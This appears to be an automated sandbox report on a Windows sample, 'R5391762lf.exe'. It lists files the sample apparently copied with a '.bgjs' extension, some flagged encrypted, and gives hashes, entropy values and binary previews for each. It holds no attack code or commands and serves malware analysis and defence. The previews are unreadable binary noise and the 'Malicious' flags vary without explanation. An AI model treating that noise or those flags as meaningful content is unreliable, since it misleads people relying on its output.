Preview:	...`.....8.x<.k.'.K])...\0/..a.....s..'.../.L...J...N.."l.!..........~.%C.....=...W.1d...f............q.t..R+/3...!....._.\.....DN.#).t.+.....7!4j...~(.r...R,.=.#.s.z..G.!.....]v...{S..Z.to.-.X......].0.....%.eC...5..n{A<.tM...pQ...q.e....xO......./Nr.`kGw.......V..G.K......:w..%e.GB.....+.....1.."Z.!..tK\|-j../.e..Lxc.J@,...Re.W..&.X.........[>T.6b9.K!.H...kH.uL...&F.wh.......9;...."Y..?@.7.cN...v#...E,.@...0..p.......gd..J...5...'?N.oy....>.m.....U2Z..zz..h..\.rl,F.T^..........!...Z....8...%...3..D...-.r..,..v.v....{.,i..$..q.&...(...qs5......B.t[..$.....7.......9.7n.....h..`B6u..._.i.:..I....\|z..D.......'-.\|...?.a...".`..j...nN.UU.D...&...u.R.eX..$.;.u..z{..-.6?...j........t..,..FO.e.......b...c-.a8...y..{...rR\.....M..@./...J.=.]....D...v.6.).u.6E.#JM}).C%..s..L.fy.(.7\|_.]C.p..n.a:..l.V)&..a......xR.P..U.(3Aq.5~.d.B3$$...h..s..7.)(.s.`..W..#....;..dU>)7....J.e8.iZ...r...<VaW....E..S4.u2].EW.x.-O..1.id#.Zj..D......8I..q

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.670687294833224
Encrypted:	false
SSDEEP:	6144:5OmeuZlYaU637e2Iv0EX2Tpb9sG+Ow/kPr:571f37eJMpb9jwwr
MD5:	31FA279D7A19F99528D0A994785F2AFA
SHA1:	D8B489C2FCA01F92C3C34BFC3331E778F9E930D9
SHA-256:	A7FC5B845CBE9784EDBDAF08EE48A346972CC4F4A2AE510BFCA5972F170FBD8E
SHA-512:	3D431981DB9BDB45A7D50382DB24F0A8E16509248338B9D4EA83E4B3A3047E4F3236E09B0572F9F72809CAD449F4388A3273983E9483562A1636452AE4717E76
Malicious:	false
Preview:	..........kE.....$ ..]....."....9......D.....0%....b....i.........O`.K.e/.>....!U..P;f..L...._./.+o.e'b.Uw.Z...I...Y.y....D..~.8.Xk.O..`.H."....(.=..vQc....!.c...5M.....R...30{.h.97.L[..X..jp...lhOv....^.oa.fi.@$.?r......=..oU..7...KV.c...C.K.l#l...2<.......m.!.J......N.P"/.....dQ.....C.p)..z.%..Wg...L1N.[$.7.R....ZW.9.A@.y..Z>...x..oU!.8..n...I.\|HJ...u..............(!..."Bf.Z.%....m..\|...l=.<f//I.....D..F.l^....b....A.? .gV.^c'u.V.{..1.x..uA..}2..Y].(..`..S3si)..i........~....M...Gt..U..H1...=.?.WD...'...%.-n.......T\...@.R...>.E.......5.......L.(M.....W...S ..._.......z%.;./.mm.p...'.U.O..G....Q.k.[&......s..5.....l.L........H.....!.8.....V.>.d..Fb.vC.5P..d..."......(..hE..1.HU..}).8f4H....nV....8tZ@E=...(...L.?P..$.0.-. ..D...v.......T:.XK.e..2v..&W..9}2%.&.k.W..m/.Mq.<....s6"".#..]d.-.j..n..Q..<S"{....APi=.!#..m.$......zO.7..f.%.{W.@.R..........~..=.......c.^.B....&9j9........u.r*..;..D....6..v.#....S.Rb.............TR...."..aO.S.

C:\Users\user\Local Settings\Comms\UnistoreDB\USSres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706628939341431
Encrypted:	false
SSDEEP:	3072:CHcgGArTgJW4lEVLavZ2wgHlRLGam4WjyTqw+T/SYWfjM:L2MJWVLGfgHjFuRWYWfjM
MD5:	CD282D4785F40E2317353E8D90268ACD
SHA1:	7BCAB0E3BF5668686BEC830CA2B13AE18F3A2CBB
SHA-256:	917D0F373948A57B7D2A08A21610395B356DC3B7EDF88C2C13FED84AEAEE6187
SHA-512:	9B01C5E7801AD7B942B2CEE20BFD28D2F577DA75BE6E7351747BA411D59BBDC167119BF6A6D35A2454147867853981B8DD128CBD997A57108D1DCEF93460485C
Malicious:	false
Preview:	...........Gk6..l..z..y......fE^Q....I.Hr.?~A5..Tz`.w..=.M&S.;..I>V.$&.#..n........:......T.......>.v.l{y'{%.4.t8.p':_...v..y...Kx^#......T6..!.1......I2...W...7,.........t.h...n.;.x.2Q...?...T.......r..y.........o..G.^..5../"...Xj..-....:.".....!.D..~j:... .9...-\|..N..Usv.o..A.\.....?>...]..{...F.. ....r.".....V.."d..G..F......p......tkZ...hd.>!..y..o...p.ocRJ$Y3:~..k...$.#..F..C...O.Z1I..Bc...&8.W.......m<].........By.qA.D...Km....Mt/+...&j..cci#.....n.SN.e%.H....Y.lI.&L..]....l...)\.N..8....W.IDM....a[.+E.....JN-...2#...f..T6V....=t..6.D......o=.z@!..UC....X4P./;!V.i.Z:.a,=..F.@.;]..&.D.[.Q...X..,x.pB...cA..]....m.w..%..B.....m.8g2.sd.U>....S..0..-jQ..%^./..%...}/..6.#...c.....%....%.u..t...o..m.X...9.33Z.xJ..L.T;5-8..02w.....\,q...../_..T=..N..s..u...,..Moa...h..4.;q.`.vf..4'Y...o$}.R.z.D4w.....r" ..ya..!+.J.V^...d..B<>;...#<1.2.. ^jWa.M.O1a.S.."@%....R.....i...zZ[).... F"t..,x.... ....qS.t[$w\%..z!...1j#.......f%..j.k^

C:\Users\user\Local Settings\Comms\UnistoreDB\USStmp.jtx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706721707130986
Encrypted:	false
SSDEEP:	3072:7Q3rCPTbdt7qPyWG9Rluco8LFeMa/L1WMXnDToZNalmbHeawjpVG:03wTJtuKjHJo8LFehrnhlmbzow
MD5:	28B2A5362F300CD973619D801AC618B5
SHA1:	71600098C49C52355D7792779670DDB3D62E31D3
SHA-256:	756EBD24D66C631171EA560032DEE671246FDC73FA271EFE2126ED8450F5B1F7
SHA-512:	1AD7607088BA748E628222B64DDC8AAEB465D3B5BA0BA8D045F46D0302F0EFE30BB2ADA96A1C6D13A40D0095B4342E3FDE539BACA21580502CA8B1EEF27DC1CE
Malicious:	false
Preview:	......v.../...8....z..;;.. H.F.yB.....B.k<E.9}.4...)_....l.1Q....m.q../S_Y..._.Z..eR:..s.-...Q...V......v\|..9.4..ZCR.].r^.0s=......a.<..{5.B.X..{..dgK]...9....3..$.d.....\_.pD..{Xi\....!...-..Z)2..=~cd.A9.YO..CJV..WY...tX..J...S&`.T#.n.R6.O..T.uQ3\...a..f.....Cp..n3V..or.V....[..h.o=..HL..V6...E.}k<Ry.p...~@.k...^\|....F......%...I..UGk..F.!...\.w?.v....=.k..uo..(...0n.J..pZ..2.A}.d......+.F.........Mg.......h7P.W..:4FJ..~..=l..D..f......./#......jD.#..G...U....,...<....~.n 1.<.z...>......<.].....[l.S..b}'.t?..i....%\O..1..FT..fx9..............2@.u....y...]......G......<v....,f..6A..........tp.Z.J..)...0....K....@m5....Dg...O.{.SP._..e...Lx....v{.jH{..L...-...w...x..x..c....I./x.E.Q.un.".....-..&.x........ .G.D......s...yi.7...:...$....5...k...Y4..O...C.....GI..P9.N...pF....:.^UR..~..U6\|,g.rL...b....P5\|B..H..mq%.g<.G.j....p.(...^....8'Fl...\|..qL.......a_R..f......Q.\...$..... G.@.g..ny].N[J.#}.D....+Fjp..Kz?.dY.~..&gl.=.K].O$...5Y.=

C:\Users\user\Local Settings\Comms\UnistoreDB\store.jfm.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9882791546745935
Encrypted:	false
SSDEEP:	384:yYidhJrOtseGUXa+ngpotoA8eFU2WjfTYg0daLPAGQ:yYehJ6tsoa+nQAoIYwdaLPAv
MD5:	CA416D0BFF54BF53ED5E6E22E4856F9F
SHA1:	919E1D8A423C24DB5EA023D4539793A6D14111CF
SHA-256:	E641A781F276EEC347B46569694D7C470037B9FF6F2F16CA9F3DBDAA1E86E724
SHA-512:	E20913AB5A6F453D68144A25A3577D074231D9BBF4084C16F110589DF2EAFDD2CD355CED31C860B044FD0B4FD10E2853148A27585FA5AB7AF2D423B9DD6D44E4
Malicious:	false
Preview:	........Or..7f.6..$.....S.p.......).$^.+..E.iF...Gc..jp...Z.V.2.....\|.X.c.Y.OH.?.NU.&..X.'...0..Xg..b-..J.G]..u......I7....Sk.....Dz.b......_......NDrIj[..I)......J..H4o1.....%..Y.q.r.H._.s$.ZCrFA^.......)...bbu%.@......{.?...J._..j...4.m.2../.......J.UE.....&lA.7>..nc.N.C..D~L.....$M..qD.wl..6....W....VI..rP......u....Q.7.}fc.z1//...C/U...G.u..Wb.s...$d..B8.....J.hj.eE.....;h/...,..ik.@.......'....]E....[CLz..m.VI?P.x.....H<.3.. Q#.C$...P.m....=..H8.XA2......^..\|F>.... .HA.@2........4k.W..!..~Q.<.............@\...=[ ..y.B.`........).A.H.....+.vp.H....._CX...H ..u.Q..B:.D...Q..D../...~..B..x^...~r%..-......kU.(T.Y..H...c.`....W..O<6..w.I...r7...;.,.XW\|).....>.......+..m....6.?dOg:Q..".U;.i\...&q.Y!..)....G.%BOH....KH..c.....`..../.....!...Y...5..-.TX.~.....p..%...G$.p.#..O(3l. ...._D.....(/l+./..~.4.y.ia...k4Yu.\.......x.....~. c.*..0z.`$P:W=.....Q.....'.`....V........^Y..Nv.4...\..0..#R..p..t...o..I.=..\..]v.y')#.$k.].sy>y.O.[

C:\Users\user\Local Settings\Comms\UnistoreDB\store.vol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	6291790
Entropy (8bit):	0.7009481052895156
Encrypted:	false
SSDEEP:	6144:XHFi7d26ONPHknaVxnnEDghhAa+d+gOrOuWxWk3m+uyHaCfYjUfCUX8LO6RqA9vr:XlWAPknaPnR2Rlb05
MD5:	9375F50BE7F13E6530D91BD69FD7CEDB
SHA1:	8B7EFDC317042F0102AFF0DD0904DD0EF1F7A0F3
SHA-256:	FCC5C647FCA6987245CAD992D6B77ABDC9995F283F29F9F16B74EBE0B5A030C3
SHA-512:	99F38B57BBC343DFB958E35FDCCEE215C83F985B3B1161485701E13B5CEE3DF693E4724C01A3AF6D470E97CEBD8FC2C4C270013E8729DD71BEE26681C757C87E
Malicious:	false
Preview:	.e...g.............y....)..gr.l.\|...(..nln.d...).-...H..0..H.P......b.!.Xf........X.>.!yo....0..AH-......0.....-M.B1uH..~m;."......U......N.{.s....q.+..Ty..xZ.._....O.........fX....E.^.m.....N.3I..Z..9..1!....f..s.4.ArUD6@.l...(.-'..1..x....2.(....R.....k.....V:...R.+..W.I..uF.sZ.5....^.>P.J..+..T.$i..C...#'..J.T_.........>....J.....5.AhE.....$9J..K..m....F.i.q..`6...xy..{v..U,....xaD.^.........kwj....3S7N..JO..><..&Q...R...rV.o.:.SZ?..h..:...7.KO..\sh.QF.>...V.[.<.(5.7.../.;.%..>...#......<"I...F...0.WW4dbL...O...:.....WO.7..x..p..Z....g4.u...<.....q~...H.8.t.[}..1...e......X;/..<..H...]&K..U......Zj.A.ZJ^...h..4.P#...a0.y.C....t...]~...w.EW.?7%.\ ........3Fdl@_0x.......i..u`..$"%....%o.K_.7.b..c.v..P..;YG..B...x2g.V1.j........<.Xn.....g....#.t.sw....,...M$wuv..y}G..y....o.B.+...[W.3....1.p..}.._A.....T..4EV4.J...`.Cb.....2..".~+r..\|.5.C7[3iz......H.'....;&Oz..:.....dJ..F1j...Ip9Um....!....B;..6.+..^En.OmM...+.....+.FPL....7.z...H~.n~.

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997529402838868
Encrypted:	true
SSDEEP:	1536:JNqCi4sPjiY4NoDYwS0jI6DrtPSn8OqLO1W:4gHNMSHGOqLO8
MD5:	8E63425656210A56AB76F404CEC39D2E
SHA1:	2D9C1E05421CBB7317439A43D3F23333C318FA5F
SHA-256:	2867D729AF28E25211A659F9E0BC493D2F7718A96F68FCAE1CBFC7C8A43F1D8F
SHA-512:	562F16C1372C123E34CDF0172FF6CB5F1E18D713D34CF85E5265A9A856C29DBCC079EB22FCA0E98F79A0024A6E69E4574865D66A23A863BB20AB6C15ECD9851F
Malicious:	true
Preview:	...S....%..(.:./..5...!.De6..u.......u.2MB5.....Y.s.%wV.E.X....y7_.....F..qq.e...C<mU...z..<i.....No............/ ...&.w.i1cZ..8B..H./...Z.q."}.....R._.].N>.V[...H..&..-)...A;...I.[H.....[.rYO\OO..X..k..>[.........x..5.......v.z..&k.%.6......E.d`U.....d.....t..,.z..V.\|>.d.ns....^..\|?.5......._^..Z{;?b. ].E2.zb.FI..f.p.......\....b~....H...D.....o.1X#.E..)-....c}..y#..Tm]).gG.\.V..9.W.78........O.........7.....v.=..(.\|... ...._.....c.S.?..#.7}7....7?s(...I.(3..{...{J.Vs......@..}.S4...,....qt..u...........5...5?J....\...$.9J....N.A..(.....vPoL.\|..[P.v..i.......E.@.V...".....+.......(E$...Ic?.M."...Z;`].yq...p...9L.!..)9..........&.X....i..c+..'a.......X..R./..v../....5.#lw_X.j0..z../O..(...U.7k..-bmRX.C&.5".K2..8...p..Q...t.-..E`D.a.n......Fc.B.@..G...V..6.m....?.L.~...]6...Iw....e...$.x:.G..7D..j.s[...).~....SQq.&.3o.....1C%..Z.2W.n%'.Pi.R...l.x.c......;...............L......b...6.a..q..._k..,.l..........Z.P..$x..L#....o.}.==.@

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.3028932568457843
Encrypted:	false
SSDEEP:	24:FZ4XaagygUJeJn5tTb00dhqPb5msPm8K4+KlazmUoyzvpu9K/dXI0MCKXq8uWbz:IgyHGXTAOWb5Xu/BVvuK1Y0M7XFuEz
MD5:	E7FCCCA93C7821319F7D18D268417D5B
SHA1:	0D79AAB9D3B4D911B78DC5968ED9193B8CD55DDC
SHA-256:	5C0584965E7BCF9777C16C7C49C2956AB073F840020CF63071422ABA8CF93142
SHA-512:	FFDE79A467045FDAE28E35DBC5AF374BC9476DA4B048774243FD9A3D3D94DB1F353C37999AB1EDFEEF42888CAA603B929ED3D2A46E9455CEC4A109455C3C32CC
Malicious:	false
Preview:	......h....6.x.w.....Y...P.b...zw..)xQp..Va..d...%_..t..J......+D~X-...1zY\|P.f........=.V7..mi.......K..X.G....x..u. .o..I../\|..]U.G..aOw...=>.\|..Gmct.W./..aK.:..M.).6?..q..S...By...]!.......TX..;V....nm.V....R"...t.I.....b.[.....`.e.?j.G.i..5.4J0.r.<T.......RK..jk............Y.....#..?...s.({...a.6.......:.OU/.'w....]..2]....g>W...;.........W. .."qNX.._.@4 ..M.....9.h...3#..r..U=)..F..?...L<....Yr3...~..7.6..=<.fN..O...Q.0.....N.._n......K..'#....G..:.B......x..;..m.=dE.....g.4..).j...[\|..f.I].<.U....Uj".\|......pO\.D...2.$.../c.V...`..&.o.B.F..y..U{...5....8......RF..'7p.7Z...X.I.K+]2o...o%.....iM.[.P/......<...+.#$.........T....s.C.Y...&.Qq.....)w .k..7.T^....5%.........2F.ZJ..u...%..o4.\|T.4...NN.!e.X.........u&{...$c....Ku......F=..C.G<...C.F?a.C.=. ..01H...TLy\|>!....ypt(..;..\|RLw.o...;.U.4g6.y.3,..P59.q....E....e9V..N#1....p..f=v..R.....dr...:..mJ..O........ 9...'sB.}H......Jh.M..6.)!.i! .N..9m<..t.......o./...h>.o.<..7.5...

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996021688941746
Encrypted:	true
SSDEEP:	1536:NNISGuvHFw1e86UZwZPH30IQ7rEX8FIkXdhQ:LIzuvH6eRH3rUrEX8F1K
MD5:	A7E0F0790C9D83755C6FFD4D2B9D7583
SHA1:	360A64DD644F3A9B5EC7BCEED60F0EC820E7C0A4
SHA-256:	369326C027E32E95F380F3BAE0453E6C9667B227477E37ABBE0254E719435CC7
SHA-512:	E2ACD5D27A7348E5FE8304B6450AA53242258A0EB8DBE8CB97E94F8CB260F7987BA7B4B60F551303905A75B690A494D9F7FA2294D53B99D638EC2C6944D63086
Malicious:	true
Preview:	SQLit.Q.@bo7.2.oS.......1Q..%.]...,\|?.p~>O.._..74..S.....]r.WH..\|..c;?..v........"....!.;.._.T....Y...#O8.g...L.Kj...........LO-.w....x.qj...%...H.....4/..1%....'f..V3 %.....t......i...]>;.....6'..5...........tmC....X..+..g'..`.............l..0.F..n.s.....i..'...C3]n.?28.6..{.f......_K..72j.....!.......w..!.6.........MW.D.R..........ED.....".dK...A 9.......R.U..:<V.{..hJ..Z......b.b...:...$.......k.^z.......K.n8...;.an...)...M.>.~yEf.M.<..L....:uu.....>.zT..".L....]..7...1..?a......Kb.0.....S.b....3..=.#;k-..M.....^..Qa.c.3.......=......oz...%....i,.pa.+...G.....'G..9Aorz..1~r.i..t.G..!..m;..1.Q....$[..?..S:..oE..-...W=c.~.._>h.....;:... >K.'..`.......)x.'pt...r;?..~..H#&\..Dd._..A.^b.F#.m..&.`X.f.....".Zy.....K.eM.:.....Tj$=.8.t..?.._...v.U.D...._..x...:.B.,.....6..2q.Ep\|k (.b...e...yw..Xqjz..8....fD.<..7..6..........Qu...K%.i......]..P.vi..Q....[o.o..O'.uu..z!D...t9.m.^x....@..ZK.M...k..d].OR&..._.1.iO.b..."m."....&..)

C:\Users\user\Local Settings\IconCache.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	11043
Entropy (8bit):	7.983759425827943
Encrypted:	false
SSDEEP:	192:vR7VnwL2ZKshi3NPnz9z9nu8jwiAeHG3JZ8M/0onIuhogaeTPg2eaBE7NDRFJQ:vR72yZXORz9z9nu89yBxhta8P/ep7NVs
MD5:	ACF111FB74AE9EEA5F5555CE3811C762
SHA1:	EBCA4994C0C810840B162B697920ADCE064F9A9E
SHA-256:	8869034F0193F2F47E07A99FD04B3E68D4FF910938797912BB043366EECF9F2A
SHA-512:	8F190B259C0C1C0634409205145BB328AE031461BB693A61E4A30C9503CEAD1258421F88EDC04EEFC3716D81D182BADD5D2F9D68C0D90BF292B7D4E94F7544C6
Malicious:	false
Preview:	H...W....C.m.D...T....J..^..$.M\..Xc.....g;..R.90yS......%XZ..R....^;.P...I.....)..")\|.Sd..\|]..EW..q.v.l.`<.r.6t..d....M........}e.+...!...1.I.t...}'..o... >.....Y_....JY.,.d.../.....N...BN..7......?~y..._..k_.c......p...o.}`M..W.:.9._y6....g.....(..{..y.G.3.O..:.b0....U0..>`.B..I..7Z6..Z...q..0....L..@Z(.......L...Y...Go..s]...0D.3.......p....z..C7f.....dl...\|.^.?.(.x.v.l...!.m.o..O........k..zz.A..c2,7..'.....M./.Tu}..\|&S>_.z.3@3..:+J..{.e...$.....1..C..^..2.5...}CC...%.5...>P....~dL.m...:..UQ.6.f......`%..X.{....p..s..O.e.x.e.v~....!N.#F.vsB<.......%.....y.:.0<o3.{>..(.._.....W..@b.Q.j .M..w...y.l....3....e..J......\|...?....y^.Pe.?;0.\|........S..c[-eo;~a(.U...T.)8.(jh.......u....;{..7.{..9&/...E\|?....%..1..~...]^.};h.?..S......{=.?Hr....Y...9%7.T.1g!Z..2.h......2..<.8../t*1!..c.48.....Zf.H.Jv..b>......./..t..cM...'...z3....D.x!..3.P.z.._b?e...%.a......Z;\...K.tU{'..s.. .v...!..-..S.%{c...12;M............."."..Cqd..\...0.........

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.330789889591228
Encrypted:	false
SSDEEP:	6:QchcFl5+YYIm7SGrN4KKCPBqa8vfYVqoMzNaIBeXpq3pz4/tXqHk7T3eWcii96Z:QjcBkCoa8vfMqoMJaI8XA3pyXqOTuWcq
MD5:	424494F129E91B731AA524FF319B4DD8
SHA1:	8E51AB48FE6614E21841102E1D6ED1A3DD13696F
SHA-256:	F77DD8229524A4FF8704B59D4C769CA7D8D6FC0BD9DD5EF3FBACB97C4C888EF5
SHA-512:	9E6622A6F9E01FEBFF6D0EA2065C0B71E4D8782F596B5624999627DB702BE16EDF7577E71DD0B5B668F7455916EF2A1DF0534F00A6EED87D4BB5C695B53EDBA4
Malicious:	false
Preview:	1,"fu...K...2.....4+.-.+d..=.`.=.h......x#..l...fH4...-..#5......,r..r...P..>.&/.......E<..q.x..........b....Vz.$.l..*..Z.....v....L........:.<.cE.e.>..r`u6.{V.y.+...\.k.H.6...`.+-...> ....!.....&...t...&E5s.........N..1..6s5.wA2Z..(.;.1.M..;J......B......t..RH...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.865721219993213
Encrypted:	false
SSDEEP:	48:2hmXs9fAFckZgJ2xbaij5QF2cSIhR266XFuED:mus9oFnZgJmaQGF2DIn2FFuQ
MD5:	9851B17399432068413CF8B50F59187B
SHA1:	F979A9164F21E257CDD6704BEDE62F84FF9AC8BD
SHA-256:	0744CA92BDFB0A949D96B7E210B20B80A82ADCD4A97AD0E6DD13B5EE82CE86DE
SHA-512:	0CFE667D8E9C165B7A76304BEBF2085D460171D728984F4562B05C0FDFA0620EF136EF8C9A1EED6B20F3BED4DBA0451623A58DEDC6218899C857803055B2F70D
Malicious:	false
Preview:	1,"fu....}p...&.......c.(.Y..s...R.u..?..V.FY...gS.....B.8nP..,....W..[P...7..7.au...<F.]$....(^....+.\0.R....9)@@.%K.....uh......+N.=..U,h.`....a..Q1..8.~M.:[....3tp.)T..\.F.R....6].j....4.q.......+..R....i..'....m6..e...\#gH.....^&Q...b..5..(._aPP..E.AQ..bq..C[D.l3M......Qq.._.s..&\|J...~A...^v.....F...<t^..(...n.06Y..8.....f..._.[....9..x).....3..t)...!..c..r.eU.....H./q...oq... ...j...:...Ft..........f..n)...rIz?Q.4.....Y~J_=4.K..%...d..s..rE..$}...O$..l.rS+.(.Wb...\|.....d...<.....i..O..0f.}.=^P...q.S......(a.Kgg.3....MuWa.+..<..?....h..... ..[hL0D....v.L.Z.?%.....{.7,L..H.6..........d(k.'u..}.Z/c]mmnq.`..&d.~q.`.%Lo;7M..1WO.(.\K..5...`.St..........T.{.5.....$..(=bV.>....\|Q..:...........x+t...)..4..x....Y.E.....<Om....k.,Ne.np......{..v..W...pfH..&4tNmp.a....V...\.u8J....8.+...(.M....7....q%V...,.Fd3.8y.Sc....:Z35H.....`h.O.....e.LW,Iu.....]../..*y.1f..=Z...9.......%..^+)..4T....E&o..&....[.9;K.Z..xV ...jV e.8.c....!R.......

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.91431235583904
Encrypted:	false
SSDEEP:	48:AIahyQ2FtZCgykhFJqAIHVPxkN9MUCPY6A3q+AAq6SHMPGmyDiOyXFuED:ayQ2HHaAI9g6UiAdAj6SHIG1DrYFuQ
MD5:	6858BCA7594F22FECB9D862B4979093F
SHA1:	1A2534434A8E09FBB9ED1FEB0906DCDD0647E266
SHA-256:	BFAB3BA3CD8145461E2592B73C44AB649F98FB416AC7E41FB2E36CDF93B1510C
SHA-512:	F9F3F87E9D5A8BC8B7C0156358C48F4D7D5DF14330C2B16377371AB07645A06A15EF76908020DAF1FE5F66E0EAEA323DFDA9925B18B3A6DF28FA6F1BD903360E
Malicious:	false
Preview:	<?xml}..;.g...\|.0$.%.j..o.'^..C:..9.....Gg.T.MM.p@..R...._...9.9...C."...$j/#..7...f..........o..(J...nr....{uO...c]...S.2_W.P...=...AM......s.6aC....<..I.J.1J.]Q.X....H.C...&....+T!V...X.@..r.$.....@...9.+..^yyL..:W..._..D..O..%.[.LF.....2..P.@..1m.....:.U@.g..O......\..e[....)..j........y.....).Z..3.$lin./.e.S........m...d.s.H.....9....p.i....#..i..X.,..wfY.~<..".?....&..c....N...-.p...P..i...Bg.0m)..f.T....-.....yM...}.;....6..?...S.N..;.d..Z../...I..K.Tw.....9.R>..<.W(.I.N./.c......~....zRS.1.i....E..0.......Z<.h..../.....t......F.I#.;c..A.d..#8.N...I......cN.......\eh;.i.~j......hX.oA.^v.....s..t......$.Dj..9..........k.G.}v..L".].....w.O...]\|...>H........B>.+....._\c(u."@.F_....d.1.P.z.{....._q.#....C..{zE!..wq?.3.B..*....O.k...?......`..i...QH....u..G.P9P..4...2./."....M.......'...n.3.>.....4.A......k.J.t...7;.....:..J..R$...z.\|-.0.....r...-...p....Y.......5Qy...<m...;q..%Q6.BU.].\..m:...&ey..VS....AR.k5.R.Y[.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974939355249351
Encrypted:	false
SSDEEP:	192:BjQPzVvwVZnmczc1KRGC2/m0AdWF6VwR1Wiyy/27AMl8Cdmec+dQ:tmGVTzyMwYW4KI1sKmV+dQ
MD5:	504C9EB8E4E20350BBD8DABE457BF046
SHA1:	B665E8D8885AF1C8A8CEBC63EA6D8842A8D77D26
SHA-256:	730DD8107FCE4744C9A81944B778200530AB8188D1C90A513F84F65748806944
SHA-512:	E36D5F3982A2845FA22D4C5373BFCFB3151C91A24E26A7B984A864BA2179513C525631CB094AD78E14E7A7BDAB717F3B85329E6507F96F14DE981949E9FB4F0B
Malicious:	false
Preview:	.Z}.U...W.......$...+..<.....ep).:...'..p...g.x..#j..7.A../..zs.....$..W.P../..m.M\.=HV.U.ml ........J.{\.....K.2..U,e.f[..G.?S5..T..~..B.qd......N.g.p...V.YO......xD\K...@W...Qk..),..s..2.)..Ec.s.....L.....Oi...:.(M_......,......._....7......Q~X.Q\.y.c..yI{7...l.o}eZ....G'.<.w.....I....%.......:iL..bO-.z.......;!.IF....;r.F....-B...P..p..h"ll.5...+.._.#.ce..t.jE..~......\|[.U..vp.....g..H........^$j.1? .i?&...H@.4...."qf...G..d..0p1.....I,......\.O....c...>. .6..XC..<.9w...V....p;.....X....b..N..Q-e..7Xs...6. .V..p<z..~.~..E..(..H..[......R.!e.P....D....3z..n.wt..4..<R3....G.F..R..F.jG%.Xu.G....Q..b,i.J.1.,./.L.N.5.'.2.U....M.3..9...7L.B..3..V...x.0.F.p].{..r_..,P........[fXF.f.&.\|x.m..C.0....[.=..2...w....7lyTHE.........ZF.f.6....S...L1...=..a\|.)...TE.l}.I..1C.....P.....N`s7...T.!....U.%7.c%.....c.....9........ .x.4%!5.A1.h.Me..d..,..TI..'.B.]/.}..Y....y...e<\|C]....ql....g..q...k.# ...&CV....!>..O.YP....f.E.2M-...K0n.....O.....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.95544573972723
Encrypted:	false
SSDEEP:	6144:amqfExomd0h2GqSHJuRRIyOQSLJFkAY74O:amqcymdIjFHcRCH/Y1
MD5:	FAB0E4F08DDD351F203D0E793DDFAADC
SHA1:	1CFB167DBBE8FDC3DEF0C7B8DEAD29B5FA120BFC
SHA-256:	91D382561205E78AB3693BDA3F5E5F7241821B09B37AA3966D9BB3A73756382D
SHA-512:	CDABD2068BACF81215BB292EE4EA943BA0DC91ED456B1A1BAE6184A4D24C7B5EDB984452D11AE03F4A1BE8177725FA104298E18F26243A27A286D2CF81D0B450
Malicious:	false
Preview:	F......S\.%h.......G.$kF.6.....K\|..%..1....A...........0;.R.X~......').P^.'z.1^.k.=kQ....+.....h.....v.qD..?Eo..-.ZT2Y......^VI`m.. {....<.K.2.(@.3.C..A3:.....L.D[._/..T...G.]..!N..4=.mT.kH2.: 2..+O..f2.L.N$l..-.4.a$.....s..=._.`..b..&~. v.1..l.j.=.N..f...(..xc:......yi....}m.K......5..$.o..3.M.I..=.......^c...Z...Pt.:a..p...cH...YLJ.>.A9i\|8F wd .i.......y...,...(.S.............L.vi......[...RSd4..k8.f.o.e.....E#(.#.F.."..f......]....&..9HT<._...l=e!..@Td,."u............8FJ<.M.Q~...4W^Rn.-...9...g.\|p3..{..'..$]JUo..\|Bv.Zxp...b...a..;.+............so 